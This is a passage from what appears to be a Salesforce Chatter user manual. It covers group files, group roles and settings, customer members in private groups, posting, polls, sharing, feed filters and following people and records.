The Group Files list on a Chatter group shows the five most recent files posted to that group. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking the file name. To see a list of all the files posted to a group, to search for a specific file, or to perform actions on a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can: Search for files that have been posted to the group. The list includes files that you and other people have attached to the Chatter feed on the group. The list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Upload private files or upload and share files with people, groups, or via a file link. Preview a file without downloading it. Follow and receive updates about a file in the Chatter feed. Click updates about the file. next to the file you're following to stop receiving

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile.

2510

Groups

Editing, Changing the Owner, or Deleting Chatter Groups

Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews. Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Chatter Groups Home

Editing, Changing the Owner, or Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can edit settings for Chatter groups you own or manage. 1. Click Group Settings on a group detail page. 2. Optionally edit the group name and description. 3. Optionally type a name or click the lookup icon to search the group members to assign a new Owner. Only the current owner or people with the Modify All Data permission can change the owner, and you must choose the owner from existing members. Customers can't own groups. 4. Optionally change the access level: Note: If you change a private group to public, updates and files are visible to all users, all pending requests to join the group are accepted, and anyone can join the group. Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly. Allow Customers: The group owner and managers can invite customers to join the group. Note: Once you allow customers in a group, you can't change the group access level.

5. Click Save.

2511

Groups

Deleting Chatter Groups

If you own a group or have the Modify All Data permission, click Delete to delete the group.

See Also:
Creating Chatter Groups Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members

Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Only the owner of a group and users with the Modify All Data permission can delete a group. 1. Click Group Settings on a group detail page. 2. Click Delete. 3. Click OK. Deleting a group permanently deletes the updates of the group, including any links posted to the group. When you delete a group that includes files, you're not deleting the files, just the references to the files. The files remain in their original location, such as in each file owners Files I Own. If the files were posted to the group and not shared in other locations, deleting the group also removes the references to the files. The files remain in the file owner's Files I Own, where they're private but can be shared again later.

See Also:
Editing, Changing the Owner, or Deleting Chatter Groups Chatter Groups Overview Creating Chatter Groups Chatter Group Roles Overview Changing Chatter Group Roles

Chatter Group Roles Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes the actions that can be performed by members, managers, and owners of Chatter groups. People with the Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to. Customers on page 2516 can be group members and managers, but not owners.

2512

Groups

Changing Chatter Group Roles

Action Post and comment Change member roles Edit group settings Add and remove members Delete posts and comments Edit Information field Delete group Change group owner

Owner Yes Yes Yes Yes Yes Yes Yes Yes

Manager Yes Yes Yes Yes Yes Yes

Member Yes

See Also:
Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members

Changing Chatter Group Roles


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To change Chatter group roles for groups you own or manage: 1. Click Change Roles on a group detail page. 2. To search for members, start typing in the search box. Optionally sort the list by toggling between Managers and All Members. 3. Select the Manager checkbox for people you want to be managers. If a customer is selected as a manager, they will be able to see people who ask to join the group, even if they aren't in other common groups, and will be able to approve requests. Note: To change the group owner, you must own the group or have the Modify All Data permission. Click the Group Settings link next to the current owner to assign a new owner. 4. Click Done.

See Also:
Viewing Chatter Groups Chatter Groups Home Viewing Chatter Group Members Adding and Removing Chatter Group Members

2513

Groups

Adding and Removing Chatter Group Members

Adding and Removing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To add or remove members for Chatter groups you own or manage: 1. Click Add/Remove Members on a group detail page. 2. Find who you're looking for: Search using the Find People search box. Toggle between Requests to join the group, Members of the group, and Everyone in your company. Use the Next and Previous links to see more of the list. Note: If the group allows customers, existing Chatter customers will appear in this list. If you can't find who you're looking for, you can invite people by clicking Invite them to Salesforce Chatter!. 3. Click Add to add a member, or to remove a member. For people who have requested to join, click Accept to accept the request, or to decline. 4. Click Done when you're finished. People can also join groups directly. To be notified when you're added to Chatter groups, enable email notifications.

See Also:
Viewing Chatter Group Members Creating Chatter Groups Chatter Group Roles Overview Changing Chatter Group Roles Accepting or Declining Private Group Requests

Accepting or Declining Private Group Requests


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

As the owner or manager of a private Chatter group, you can accept or decline requests to join the group. Additionally, users with the Modify All Data permission can view and manage requests for all groups. 1. View the list of requests by doing one of the following: On a group detail page, click the Request link, for example, 3 Requests On a group detail page, click Add/Remove Members and then click the Requests filter, or scan for requests in the Everyone filter Click the link provided in the email request

2. Accept or decline the requests.

2514

Groups

Viewing Chatter Group Memberships

Note: An email is sent to each person to tell them that their request was accepted or declined.

Click Accept to accept. If there are more than two requests, you can accept them all by clicking Accept x of y, for example, Accept 3 of 3. Click to decline. Optionally enter a message that will be included with your decline email and click Send. If you change your mind, you can click Cancel to go back.

3. Click Done to close the window. If you make a private group public, any pending requests are automatically accepted.

See Also:
Adding and Removing Chatter Group Members Viewing Chatter Group Members

Viewing Chatter Group Memberships


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Groups list on your profile shows you the Chatter groups you belong to, sorted by the most recent activity date. If you're not a member of any groups, click Join or create groups to view the Groups tab and join some groups. You can also view the Groups list on other people's profiles to see their group memberships. Click Show All to view the full list in alphabetical order. Use the Next and Previous links to see more of the list. Click to leave a group or withdraw a request to join. On another person's groups list, click Join to join a public group. On another person's groups list, click Ask to Join to send a request to join a private group. Click Done to close the window.

See Also:
People Overview Viewing Chatter Groups Chatter Groups Home

2515

Groups

About Chatter Customers in Private Groups

About Chatter Customers in Private Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter customers are users outside your company's email domains who can only see groups they're invited to and interact with members of those groups; they can't see any Salesforce information. Chatter customers: Can only be added to Chatter if: A manager or owner of a group that allows customers invites them to the group. An administrator adds them in Name > Setup > Manage Users > Users. Can only see: Groups they belong to. People in groups they belong to. Customers only see limited profiles including photo, name, title, email, activity statistics and influence, common group memberships, and common files. They can't post to profiles. Files shared to groups they belong to. Can't see: Records or other Salesforce information, even in search results. Topics I Use Most or Trending Topics. Recommendations and can't be recommended to others. Additionally, groups that allow customers can't be recommended. Are identified as a customer in profiles and groups they belong to. Have limited profiles, including name, photo, title, company, email, activity statistics and influence, feed, group membership, and file ownership. Can't be followed. Additionally, customers can't follow people or files. Can be group members and managers. If customer is a manager, they will be able to see users who request to join the group, even if they aren't in other common groups, and approve requests. Can't own, create, delete, moderate, join, or ask to join groups. Can invite people that they're in common groups with to join groups that they manage. Can't invite people inside your company's domain whose profiles they can't see. Cant chat on page 2575 with other users. Note: In the Chatter mobile apps for Android and iOS, the names and profiles of customer users can be viewed by people inside your company's domain, but customers are prevented from using the apps. Only Chatter for BlackBerry currently allows customers to log in and use the app. The BlackBerry app applies the same restrictions to customer users as Chatter on the Web. Note: When you invite someone as a customer to your group, they are given a unique username and password to log in to this group within your organization, even if theyre already a member of another Salesforce organization. They will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to the group, verify that they are using the username and password from the welcome email they received after registering for the group.

2516

Groups

Adding or Removing Customers in Chatter Groups

If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username, they should contact the administrator of the organization in which theyre a customer to recover it.

See Also:
Chatter Groups Overview Adding or Removing Customers in Chatter Groups

Adding or Removing Customers in Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If customer invitations are enabled, you can add, remove, and invite customers in private groups you own or manage that allow customers. Note: When you invite someone as a customer to your group, they are given a unique username and password to log in to this group within your organization, even if theyre already a member of another Salesforce organization. They will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to the group, verify that they are using the username and password from the welcome email they received after registering for the group. If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username, they should contact the administrator of the organization in which theyre a customer to recover it. 1. Navigate to a group detail page. 2. To add people who aren't already customers in your company, click Invite People, or Add/Remove Members > Invite them to Salesforce Chatter!. Enter email addresses separated by commas, and an optional message, and click Send. Note: When someone accepts your invitation, they join Chatter and become a member of the group. If youre unable to invite customers (people outside your companys email domains) to private groups you own or manage, contact your administrator. 3. To add people who are already customers in your company, click Add/Remove Members, then: Search using the Find People search box. Toggle between Members of the group and Everyone in your company. Use the Next and Previous links to see more of the list. Click Add to add a customer, or to remove a customer. Click Done when you're finished.

See Also:
About Chatter Customers in Private Groups Adding and Removing Chatter Group Members

2517

Feeds

Feeds

FEEDS
Feeds
Chatter feeds show you posts and comments you and other people make, as well as record updates across your Salesforce organization. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Getting the Most out of Chatter Feeds (2:31 minutes) You must follow people and records to see their updates in your Chatter feeds. Chatter feeds display on profiles, groups, the Home tab, and on record detail pages. The feed updates you see depend on how your administrator has configured feed tracking. Sharing rules and field-level security determine the record changes you see in Chatter feeds. For example, if you dont have access to a record, you dont see any updates for that record. Typically, you see feed updates for: Record field changes, like changes to record owner and closed opportunities and cases Tasks and events Converted leads Chatter feed comments and posts Shared files and links Posts, comments, and files on Chatter groups you're a member of

Tracked feed updates that are older than 45 days and have no likes or comments are deleted automatically.

See Also:
Using Chatter Feeds Following People Following Records Sharing a Chatter Post

Using Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. Make a post to share information and collaborate with others.

2518

Feeds

Posts

Comment on posts or like posts in a feed. Follow people or records. Bookmark a post that interests you. Share public posts to your profile or with a group that youre a member of. You can also send a link to the post to other users in an email or instant message.

See Also:
Feeds Following People Following Records The People and Records You Auto-Follow Initially Profile Overview Chatter Groups Home

Posts
Write a post to share information and collaborate with other people inside and outside your organization. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Posting is a great way to collaborate with other people. Write a post to tell people what you are working on, ask questions, or answer someone elses question in a comment to their post. You can also attach a file or link to your post, add hashtag topics, or mention someone. You can collaborate with people inside and outside your company. For example, post to a group that allows you to share information with customers. Posts and comments can be up to 1,000 characters long. The following table describes where you can post and where your post displays. Im posting on I can post to Who gets my post directly Where does my post show up Everyone who navigates to your profile can see your post on your profile. Your post shows up in Chatter feed search results. Everyone can see your post in the All Company feed. File Considerations If you attach a file to the post, the file is available to all employees. The file also shows up in search results and file lists.

Home tab, Chatter tab, My followers or my profile

People following you see your post in the What I Follow feed. People that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds.

2519

Feeds

Posts

Im posting on

I can post to A public group

Who gets my post directly

Where does my post show up Everyone who navigates to the group can see your post on the group page. Your post shows up in Chatter feed search results. Everyone can see your post in the All Company feed.

File Considerations If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds.

A private group

Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds. Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds.

Only members of the group see your post on the group feed, in Chatter search results and in the All Company feed.

If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

A customer group

Only members of the group see your post on the group feed, in Chatter search results and in the All Company feed. Members include employees and customers.

If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

Another persons profile That persons profile only

People following this person see your post in the What I Follow feed. People that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds.

Everyone who navigates that persons profile can see your post on your profile. Your post shows up in Chatter feed search results. Everyone can see your post in the All Company feed.

If you attach a file to the post, the file is available to all employees. The file also shows up in search results and file lists.

2520

Feeds

Posts

Im posting on A public group

I can post to To the public group only

Who gets my post directly

Where does my post show up Everyone who navigates to the group can see your post on the group page. Your post shows up in Chatter feed search results. Everyone can see your post in the All Company feed.

File Considerations If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds.

A private group

To the private group only

Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds. Members of this group see your post in the What I Follow feed. Group members that are mentioned in the post see the post in the What I Follow, To Me, and profile feeds. Everyone following this records and has permission to access the record sees your post in the What I Follow feed.

Only members of the group see your post on the group feed, in Chatter search results and in the All Company feed.

If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

A customer group

To the customer group only

Only members of the group see your post on the group feed, in Chatter search results and in the All Company feed. Members include employees and customers.

If you attach a file to the post, the file is available to anyone who has access to the group. The file also shows up in search results and file lists.

A record page

To the record only

Everyone with permission to access the record can see your post on the record detail page, on your profile, in

If you attach a file to the post, the file is associated with the record. Everyone with sharing rights to the

2521

Feeds

Making a Post

Im posting on

I can post to

Who gets my post directly

Where does my post show up

File Considerations

People that are search results and in the record has access to the mentioned in the All Company feed. file. post and have permission to access the record see the post in the What I Follow, To Me, and profile feeds.

See Also:
Using Chatter Feeds Making a Post Polls

Making a Post
Make a post to let people know what you are working on, to ask questions, and share information. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. Above your feed, click Post or just click the text box. 2. Type your update in the text box. You can also add a hashtag topic and mention another person. 3. Below the text box, select My Followers to publish the post on your profile, or select A Group, type part of the groups name in the Search Groups field, and select the group from the drop-down list. You can only select a group youre a member of. 4. Click Share.

See Also:
Posts Viewing a Single Chatter Post Attaching a File to a Post or Comment Attaching a Link to a Post Creating a Poll

2522

Feeds

Liking Posts and Comments

Liking Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

After you click Like on a post, you receive email notifications if others comment on that post. If you click Like on a comment, only the user who posted the comment receives an email notification, but you receive an email notification for any subsequent comments. To stop liking a post or a comment, click Unlike. When you stop liking a post or a comment, you don't receive email notifications for subsequent comments or likes. View the profiles of others who have liked a post by clicking their name at the bottom of the post or comment, for example, John Smith likes this. If more than three people like a post, click the link to see the full list; for example, You, John Smith, and 2 others like this. From that list, you can follow or stop following people. Likes on comments show how many people have liked the comment, for example, 1 person or 7 people. To see their names, click the link.

Viewing a Single Chatter Post


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can view a single Chatter post in a feed for a user, record or group. In a Chatter feed, click the timestamp displayed below the post, for example, Yesterday at 12:57 AM. In a Chatter email notification, click the link in the body of the email to view only the related post. To view the full feed, above the post, click All Updates.

Viewing the Source of a Post or Comment


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The source of a comment or post displays below the post or comment. For example, Yesterday at 12:57 AM via Chatter for BlackBerry means that the post or comment was added at that date and time using the BlackBerry Chatter Mobile client.

2523

Feeds

Feed Attachments

Feed Attachments
Share files and links with people by attaching them to posts. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can attach links and files to posts and comments from your computer, Salesforce CRM Content libraries, Chatter feeds in a profile, a record, or a group, and the Files list. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. This table describes who can see a file you attached and where it appears: If You Attach a File: On a Chatter feed Who Can See It? All Chatter users in your company Where Does it Appear? In your and your followers' Chatter feeds, and profile On the Files list and Salesforce CRM Content of all Chatter users in your company In your feed, their feed, your followers' feeds, and their followers' feeds and profiles In the Files Owned list on your profile On the Files list and Salesforce CRM Content of all Chatter users in your company In your feed and the group members' feeds In your feed on your profile In the feed on the group In the Group Files list on the group On your and the group members' Files lists and Salesforce CRM Content In your feed, your followers' feeds, and the group members' feeds In your feed on your profile In the feed on the group In the Group Files list on the group

On your profile or on someone else's profile

All Chatter users in your company

On a private group you're a member of

Members of the group and users with Modify All Data and View All Data permissions

On a public group

All Chatter users in your company

2524

Feeds

Attaching a File to a Post or Comment

If You Attach a File:

Who Can See It?

Where Does it Appear? On the Files page and Salesforce CRM Content of all Chatter users in your company. In your feed (if you're following the record), your followers' feeds, and the record's followers' feeds In your feed on your profile In the feed on the record In the record's Notes and Attachments related list On the Files lists of all Chatter users in your company

On a record

All Chatter users in your company

See Also:
Attaching a File to a Post or Comment Attaching a Link to a Post Searching for Files to Attach to a Chatter Feed Downloading and Previewing a File in a Chatter Feed File Size Limits in Salesforce

Attaching a File to a Post or Comment


Share files and links from Salesforce or from your computer with people by attaching them to posts or comments. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions You can attach all file types, including Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. The maximum file size is 2 GB. When you attach a file, consider the following: When a file is posted to a feed, everyone in your company can see it even if the file started out as private. Only files posted in a private group stay private within that group. Attaching a file from a group or library creates a reference to the file. If you update a file in Salesforce CRM Content, the updates are also reflected in the feed.

1. Click File at the top of your feed to attach a file to a post, or Attach File below a comment to attach a file to a comment. If youre commenting on an update resulting from feed tracking on a file, the Attach File option isnt available. 2. Do one of the following: Click Select a file from Salesforce to attach a file that someone has already uploaded.

2525

Feeds

Attaching a Link to a Post

Click Upload a file from your computer to attach new files from your computer.

3. Browse for the file you want to attach. Links, Google docs, documents from the Documents tab, and attachments from the Notes and Attachments related list aren't included in the Select a File to Attach list. For more information about finding files to attach, see Searching for Files to Attach to a Chatter Feed on page 2537. 4. Add a post or comment about the file. If you dont enter any text, a generic update is posted with your attachment. 5. Below the text box, select My Followers to publish the post on your profile, or select A Group, type part of the groups name in the Search Groups field, and select the group from the drop-down list. You can only select a group youre a member of. 6. Click Share.

Attaching a Link to a Post


Share links with people by attaching them to a post. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. Click Link above your feed. 2. Enter the URL to share. 3. Enter a Link Name or leave the field blank. The link name is optional. If you type in a link name, well use yours. If you leave the Link Name field blank, the preview populates the link name with the title or name from the site URL. 4. Enter your post in the field below. If you don't enter any text, a generic update is posted with your link. 5. Below the text box, select My Followers to publish the post on your profile, or select A Group, type part of the groups name in the Search Groups field, and select the group from the drop-down list. You can only select a group youre a member of. If youre posting on someone elses profile or on a record, the My Followers and A Group options are not available. 6. Click Share. If you share a URL for which we provide rich media support, your post shows a preview of the linked content. The previews are powered by Embed.ly, a third-party service, and include thumbnails, descriptions, and video players for links to videos. Currently, previews display for links to content on YouTube, Vimeo, Mashable, Techcrunch, NYTimes, ReadWriteWeb, and SoundCloud. If a post doesnt render a link as a rich preview in the feed, the URL domain for that link either isnt supported or Embed.ly was unable to return the preview content for the URL. We dont share any content, user, organization, or account data with Embed.ly. We only share the URLs that are on the domain whitelist. Additionally all of our URL requests pass through a Salesforce proxy, meaning Embed.ly never receives calls directly from the client and therefore doesnt have information about who's making the URL request.

2526

Feeds

Sharing a Chatter Post

Sharing a Chatter Post


Sharing lets you quickly copy a public post to your profile or a group. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can share public Chatter posts that contain text, links, or files to your profile, with a group, or using a link to the post. When you share a post, keep in mind: You can share a post to your own profile, but not to another persons profile. You can share the original post, including any files and attachments, but you cant share any comments or likes. You can comment on the shared post, but you cant edit a shared post. You cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions. You can only share posts with a group youre a member of. You can share a post to a group that allows customers. However, customers and other group members cant share posts from a private group. Only Chatter users inside your company can see a post that you shared using a link in an email or instant message.

When someone shares your post, you receive an email notification. To change your email notifications, click Your Name > Setup > My Chatter Settings > Chatter Email Settings.

See Also:
Sharing a Chatter Post with a Group Sharing a Link to a Chatter Post Sharing a Chatter Post to Your Profile

Sharing a Chatter Post to Your Profile


Copy a public post to your profile to share it with the people who follow you. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions. 1. 2. 3. 4. 5. Find the post you want to share in your Chatter feed. Click Share. Write a comment about the post or leave the comment field blank. In the drop-down list, select My profile. Click Share. The shared post appears in the Chatter feed on your profile.

2527

Feeds

Sharing a Chatter Post with a Group

Sharing a Chatter Post with a Group


You can share posts with a group that youre a member of. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions. 1. 2. 3. 4. 5. Find the post you want to share in your Chatter feed. Click Share. Type a comment about the post or leave the comment field blank. In the drop-down list, select A group. Type part of the group name and select the group from the list. If you are sharing a post with a file, select Viewers to allow group members to only view the file, or select Collaborators to allow group members to download and modify the file. 6. Click Share. The shared post appears in the feed of the group.

Sharing a Link to a Chatter Post


Share a post with other Chatter users via email or instant message. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When sharing a link to a post, keep in mind: 1. 2. 3. 4. You cant share a link to a post from a private group. You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions. In order to see the post, the people to whom you send the link to the post must be Chatter users. Find the post you want to share in the Chatter feed. Click Share. In the top corner, click Show link to post. Copy and paste the link in an email or instant message and send it to the people with whom you want to share the post. When recipients of the email or instant message click the link to the post, the post appears in their Chatter updates.

2528

Feeds

Polls

Polls
Use polls to conduct a survey. A poll contains a list of choices in a feed post that lets people cast a vote by selecting one of the choices. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Polls are a great way to get peoples opinions. For example, you are in charge of planning an annual sales meeting and need to find out when most people are available to attend the meeting. Instead of emailing everybody in the sales organization, you could create a poll in the Sales Chatter group that lists possible dates and ask people to vote for the date that works best for them. When you create a poll, anybody with access to the feed or the poll can vote on the poll. So when you post a poll, consider who you want to participate. For example, if you post a poll in a private group, only the members of that group can see the poll and vote. Keep the following in mind about polls: When you create a poll, you can add up to ten choices. When voting on a poll, you can only select one choice. Polls are anonymous. You can see how many people voted, but you cant see who voted. Click Refresh to see the latest poll result and the number of votes that were cast. You cant repost a poll. People can only cast one vote, but they can change their vote. You can mention someone and include hashtag topics in the poll question. The email notification options you enabled in your Chatter Email Settings apply to polls just as they do to posts. For example, if you get a notification whenever someone comments on a post you made, you also get an email notification when someone comments on a poll you posted. Note: The poll result doesnt always add up to 100 percent due to rounding. For example, if a poll has three choices and each gets one vote, the result adds up to 99 percent.

Creating a Poll
Post a poll in your feed to gather peoples opinions. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. Above the feed, click Poll. 2. Type a question in the text box. You can add a hashtag or mention someone. 3. Type at least two choices. Click Add more choices to add another choice. You can enter up to ten choices. 4. Select to post the poll to your followers or to a group.

2529

Feeds

Voting on a Poll

If youre posting the poll to a group, select the name of the group from the drop-down list. 5. Click Share to post the poll.

See Also:
Polls Voting on a Poll

Voting on a Poll
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. In the post that contains the poll, select your choice. You can only select one choice. 2. Click Vote. The post shows the current result of the poll. To change your vote click Change vote and select your new choice. Note: The poll result doesnt always add up to 100 percent due to rounding. For example, if a poll has three choices and each gets one vote, the result adds up to 99 percent.

See Also:
Polls Creating a Poll

Sorting Your Chatter Feed


The Sort by drop-down list at the top of your feed sorts the feed by most recent posts or by most recent posts with comments, including polls with new comments. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. Click Sort by at the top of your feed. 2. Select Post Date to sort by most recent posts, or Most Recent Activity to sort by posts with the most recent comments, including polls with new comments. Your feed is sorted by Most Recent Activity by default. You can toggle between sorting by Post Date and Most Recent Activity at any time.

2530

Feeds

Filtering Your Feed

Tip: If you want to keep track of a particular post, use bookmarks. Bookmarks help you find a post quickly, even if the post doesnt have any recent comments.

See Also:
Bookmarking a Post

Filtering Your Feed


Feed filters display a subset of posts in your Chatter feed on the Chatter tab. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Feed filters are located on the left sidebar on the Chatter tab. 1. Click Feed to see the available feeds. 2. Click a feed to display the associated subset of posts in your feed. What I Follow Displays everything you follow, including posts from people you follow, groups you are a member of, and files and records you're following. Use the drop-down list at the top of your feed to further narrow the subset of posts. To Me Displays posts others make on your profile page and posts and comments where you have been mentioned. Bookmarked Displays your bookmarked posts in your feed. All Company Displays all posts and comments from your entire company. This includes posts and comments from: People in your company, the ones you follow and the ones you don't follow Public groups, including the ones you are not a member of Private groups you are a member of Updates for records and fields that your administrator configured for feed tracking, including the ones you're not following. However, you only see updates for records that you are allowed to access.

See Also:
Using Chatter Feeds Sorting Your Chatter Feed Bookmarks Overview

2531

Feeds

Following People

Following People
Follow people to see updates in your Chatter feed, including posts, comments, and likes. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

Click

Follow to follow a person wherever you see the persons name in Chatter, for example on the:

Persons profile page People list view Persons hover Recommendations list Followers and Following lists

Once you follow people, you see their posts, comments, and likes in your Chatter feed. You can follow a maximum of 500 people and records. To stop following a person, hover over the persons name and click you dont see future updates from that person in your Chatter feed. next to Following. When you stop following a person,

See Also:
People Overview Using the Following and Followers Lists Using Chatter Feeds

Following Records
Follow records so you can see updates in your Chatter feed, including field changes, posts, and comments on records. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To view a record: Read on the record

The field changes you see in your feed are determined by the fields your administrator configured for feed tracking. Updates to encrypted custom fields don't display in feeds.

2532

Feeds

The People and Records You Auto-Follow Initially

Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

To follow a record, click

Follow next to the record on a

Record detail page Salesforce Knowledge article Persons Following list

When you follow a record, you see updates to the record in your Chatter feed. To stop following a record, click on the record detail page or on the records hover. After you stop following a record, you dont see future updates to the record in your Chatter feed. Consider these tips when following records in Chatter: You dont automatically follow records you create. To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select Automatically follow records I create. However, you don't auto-follow events, tasks, or dashboards in Chatter after you create them. When you create person accounts, you can only auto-follow the account fields, not the contact fields. You can follow a maximum of 500 people and records.

See Also:
Customizing Chatter Feed Tracking Using the Following and Followers Lists Using Chatter Feeds

The People and Records You Auto-Follow Initially


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Starting in June 2010, when your administrator initially turns on Chatter, we help get you started by automatically following certain users and records in your organization. Who and what you auto-follow differ based on the size of your organization: If Your Organization Has: 15 users or fewer Users You Follow All users in your organization Records You Follow Up to 25 of your most recently used records, in the following order: 1. 2. 3. 4. 5. 6. Open opportunities you own Accounts you own Open cases you own Contacts you own Open opportunities you created Accounts you created

2533

Feeds

The People and Records You Auto-Follow Initially

If Your Organization Has:

Users You Follow

Records You Follow 7. Open cases you created 8. Contacts you created 9. Open opportunities you last modified 10. Accounts you last modified 11. Open cases you last modified 12. Contacts you last modified 13. Open opportunities you viewed 14. Accounts you viewed 15. Open cases you viewed 16. Contacts you viewed

16 or more users

Up to 25 users in your organization, including (if available): Your manager Users that report to your manager Your subordinates Teammates on your account teams Teammates on your opportunity teams

Up to 25 of your most recently used records, in the following order: 1. Open opportunities you own 2. Accounts you own 3. Open cases you own 4. Contacts you own 5. Open opportunities you created 6. Accounts you created 7. Open cases you created 8. Contacts you created 9. Open opportunities you last modified 10. Accounts you last modified 11. Open cases you last modified 12. Contacts you last modified 13. Open opportunities you viewed 14. Accounts you viewed 15. Open cases you viewed 16. Contacts you viewed

Note: The auto-follow setting for records only applies to the records that already exist at the time your administrator turns on Chatter. For any future records you create, auto-follow is disabled by default to reduce the number of updates

2534

Feeds

Automatically Following Records You Own

you receive in your Chatter feed. However, if you want to receive updates on all future records you create, you can enable auto-follow in Setup > My Chatter Settings > My Feeds.

See Also:
Following People Following Records Using the Following and Followers Lists Automatically Following Records You Own Customizing Search Settings

Automatically Following Records You Own


When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field on those records. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed To view a record: Read on the record

By default, you dont automatically follow the records you create. If you want to automatically follow the records you create, you must enable auto-follow in your Chatter Settings. 1. Click Your Name > Setup > My Chatter Settings > My Feeds. 2. Select Automatically follow records I create. 3. Click Save. Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't automatically follow the account. To automatically follow a record when someone else assigns you ownership, your administrator must enable the owner field on the object for feed tracking.

See Also:
Following People Following Records Feeds The People and Records You Auto-Follow Initially

2535

Feeds

Mentioning People in Posts and Comments

Mentioning People in Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

